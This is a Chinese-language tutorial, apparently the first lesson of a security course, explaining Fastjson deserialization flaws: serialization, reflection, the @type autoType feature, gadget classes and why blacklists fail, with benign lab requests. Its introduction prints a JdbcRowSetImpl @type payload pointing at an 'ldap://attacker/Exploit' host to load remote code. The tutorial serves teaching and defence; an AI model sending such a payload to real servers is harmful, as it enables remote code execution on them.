Fastjson 漏洞 · 01 · 认识 Fastjson 与序列化基础

引子:一行 JSON 为什么会变成一把 shell

先看一段真实、且几乎每个 Java 后端都写过的代码:

复制代码
String body = request.getParameter("data");
Object obj = JSON.parse(body);          // 本意:把前端传来的 JSON 变成 Java 对象

如果 body 被换成下面这样:

复制代码
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}

服务器就可能在"解析 JSON"这一步去连接攻击者的服务器、下载并执行代码。一个普通请求参数,直接变成服务器权限。 这不是魔术,而是"反序列化 + 自动类型识别(autoType)"这套设计的必然结果------本篇先把这条因果讲透,而不是一上来就背 payload。

为什么一个网络空间安全方向的学生必须懂它?因为 Fastjson 不是冷门组件,而是国内 Java 后端的"基础设施级"依赖:电商下单、支付回调、政务表单、消息队列、配置中心、甚至 Android 客户端,背后都可能是它。这类漏洞的特点不是"新",而是"面广、存量多、岗位高频"------渗透测试要打、代码审计要查、安全面试要问。

本篇要点(读完应能回答):

  1. JSON 库在系统里扮演什么角色?序列化和反序列化各自做了什么?

  2. 反射为什么是"用字符串决定加载哪个类"的发动机?

  3. @type 为什么会被设计出来,又为什么危险?

  4. 为什么"拉黑危险类"这种防御长期看必然失守?


一、先讲现实:Fastjson 是干嘛的

以用户下单为例,前端发给商城后端的数据大概是这样的:

复制代码
{"userId":10086,"skuId":9527,"count":2,"coupon":"NEW5"}

后端的 Java 程序拿到这段文本 ,需要把它变成一个 Java 对象 (比如 Order 类的实例),才能调用 orderService.create(order) 去下单。把"文本 → Java 对象"这件事做掉的工具,就叫 JSON 库。

Fastjson 是阿里巴巴开源的 Java JSON 库,因为快、API 简单,在国内 Java 后端、中间件、Android 里被大量使用,常见于这些地方:

  • 电商 / 支付 / 政务 / 企业系统的 HTTP 接口(Spring MVC 里常用于解析请求体);

  • 微服务之间的 RPC、消息队列的消息体;

  • 缓存(Redis)里存的对象、配置中心(如 Nacos)下发的配置;

  • 很多国产中间件/框架的底层默认 JSON 实现。

换句话说:只要一个 Java 系统在"把前端/上游传来的 JSON 变成对象",它很可能就在用 Fastjson。 这正是这类漏洞影响面巨大的原因------2021 年前后,国内外大量系统因为 Fastjson 一个字符串就被人拿到了服务器权限。


二、序列化与反序列化:白话版

  • 序列化(serialize):把内存里的对象,变成一个能存进文件、能通过网络传输的"扁平"格式(JSON 文本、二进制流都算)。好比把一辆组装好的家具拆成板材、装进纸箱。

  • 反序列化(deserialize):反过来,把"扁平"数据恢复成对象。好比按图纸把板材重新组装成家具。

Fastjson 的两个核心方法:

复制代码
String json = JSON.toJSONString(order);        // 序列化:Order 对象 -> JSON 字符串
Order o    = JSON.parseObject(json, Order.class); // 反序列化:JSON 字符串 -> Order 对象
Object x   = JSON.parse(json);                 // 反序列化:不指定目标类型(重要!)

关键点:JSON.parse 不告诉程序"要变成什么类"

序列化时,Fastjson 默认不会 把类名写进 JSON。所以反序列化时如果只给一段 JSON、不给目标类,程序就不知道要 new 哪个类。为了让"多态"能工作,Fastjson 支持在 JSON 里用特殊字段 @type 指定类名:

复制代码
{"@type":"com.example.Order","userId":10086,"count":2}

正常业务里,@type 是给"同一个接口有多个实现类"这种场景用的。但漏洞也从这里开始:既然类名由输入决定,攻击者能不能填一个"反序列化时会干坏事"的类?

答案是可以。这个"由输入指定类,并被自动实例化"的能力,就叫 autoType(自动类型识别)。


三、反射:漏洞的发动机

要理解"实例化一个类为什么能执行代码",必须先知道 反射(Reflection)。

Java 程序运行时,JVM 里有一张"类信息表"。反射 就是让程序在运行时,根据一个字符串类名去:

  1. 找到这个类(Class.forName("com.example.Foo") 或类加载器加载);

  2. 创建它的对象(clazz.newInstance() / 构造器 newInstance());

  3. 访问它的字段、调用它的方法(包括私有的,用 setAccessible(true))。

一段最小示例:

复制代码
Class<?> c = Class.forName("java.lang.String");   // 用字符串找到类
Object o = c.getConstructor(String.class).newInstance("hi"); // 造对象
Object r = c.getMethod("length").invoke(o);        // 调方法 -> 2

为什么危险? 因为反射把"写死在代码里的类名"变成了"运行时可变的字符串"。当这个字符串来自用户输入(Fastjson 的 @type 正是如此),攻击者就能让程序去加载、实例化开发者根本没想到的类。

而很多 Java 类在被"创建/设置属性"的过程中,会顺带执行有副作用的操作,例如:

  • 发起一个网络连接(JdbcRowSetImpl 的 setAutoCommit → JNDI 查询);

  • 加载并定义一段字节码(TemplatesImpl 的 getOutputProperties);

  • 读取/写入文件、执行命令......

这类"能被外部摆弄出危险动作"的类,在安全圈叫 gadget(利用链组件) 。Fastjson 漏洞的本质 = 攻击者用 @type 指定一个 gadget,借助反射把它实例化/设值,从而执行代码。


四、把一次正常反序列化拆开看

调用 JSON.parse(json) 解析下面这段时,Fastjson 内部大致做:

复制代码
{"@type":"com.example.User","name":"tom","age":20}
  1. 读到 @type,取出类名 com.example.User;

  2. 通过类加载器把这个类加载进来(等价于 Class.forName);

  3. 创建 User 的实例;

  4. 遍历后面的字段 name、age,用反射找到对应的 setter 或字段,把值写进去;

  5. 返回这个对象。

第 2、4 步都用了反射。漏洞就发生在这里:如果第 2 步加载的是攻击者精心挑选的类,第 4 步设置的属性又恰好能触发危险动作,代码就执行了。

一个必须先建立的心智模型

**@type 里的类名 = 用户可控的"要加载的类名"。**安全与否,取决于"能不能随便加载任意类"以及"被加载的类会不会干坏事"。Fastjson 之后十几年的攻防,全部围绕"如何放开/收紧这个类名"展开。


五、为什么"只过滤黑名单"很难

新手常问:既然危险类就那么几个,直接拉黑不就行了?

实际上:

  • 危险的不只是"执行命令的类",而是大量能被组合出危险行为的普通类 (本系列 03 篇会看到 JdbcRowSetImpl、TemplatesImpl 都不是为攻击而生的);

  • 项目依赖成百上千个第三方库,每个库里都可能有可用 gadget,黑名单永远赶不上新发现;

  • Fastjson 为了"灵活性/兼容性"曾允许用各种写法绕过检查(L...;、数组、缓存......),攻防因此进入长期拉锯。

所以最终结论是:别让不可信输入决定"要加载哪个类"------要么关掉 autoType,要么用白名单。这也是"防御"的核心。


六、本靶场里"正常 vs 危险"的对照

靶场提供了一组端点,最直观的是:

复制代码
B=http://192.168.143.156:8080
​
# 普通 JSON:正常解析
curl -s -G "$B/parse" --data-urlencode 'data={"a":1,"b":"hi"}'
# => OK: {"a":1,"b":"hi"}
​
# 带 @type 的 JSON:会去实例化指定类
curl -s -G "$B/parse" --data-urlencode 'data={"@type":"java.util.HashMap","x":1}'
# => OK: {"x":1}   (这里 HashMap 无害,但它证明了"类名由输入决定")

下一篇就把 @type 背后的 checkAutoType 检查逻辑讲透。


七、自测题(答案在正文里,不要背题面)

  1. 序列化和反序列化分别是什么?为什么说"反序列化"比"序列化"危险?

  2. Fastjson 为什么需要 @type?它是干嘛用的?

  3. 反射的三个最小能力是什么?它和"任意代码执行"之间缺了哪个条件才成立?

  4. 为什么"拉黑危险类"这种防御长期看不可靠?

  5. 用自己的话说出"Fastjson 漏洞的本质"。

相关推荐
一直在努力的小宁3 小时前
【阅读笔记】具身操作的数采方案概览
后端·json·restful·具身智能·vla·vlm
wuyk5558 小时前
Python实战项目05:JSON数据解析与数据可视化小案例|全套实战闭环
python·信息可视化·json
波力海苔夹心脆67519 小时前
C# 序列化与反序列化详解:System.Text.Json、Newtonsoft.Json、XmlSerializer 用法、特性选项与安全实践
经验分享·后端·c#·json·.net
数据狐(Datafox)1 天前
淘宝商品详情API实战:多语言代购商城自动同步数据完整方案
开发语言·前端·数据库·爬虫·json
ShineWinsu2 天前
对于ProtoBuffer:ProtoBuffer的介绍以及安装
linux·网络·google·协议·序列化·反序列化·protobuffer
阿钱真强道2 天前
21 嵌入式操作系统 | JSON 与 json-c:生成与解析
c语言·开发语言·json·json-c
譕痕8 天前
JSONObject与JSONArray封装数据格式区别
java·json
A黄俊辉A8 天前
uniapp webview中实现 app和内嵌的H5双向通信
vue.js·json
伞伞悦读8 天前
【第37期】Python JSON 与配置详解:序列化、反序列化、嵌套结构和配置文件
开发语言·python·json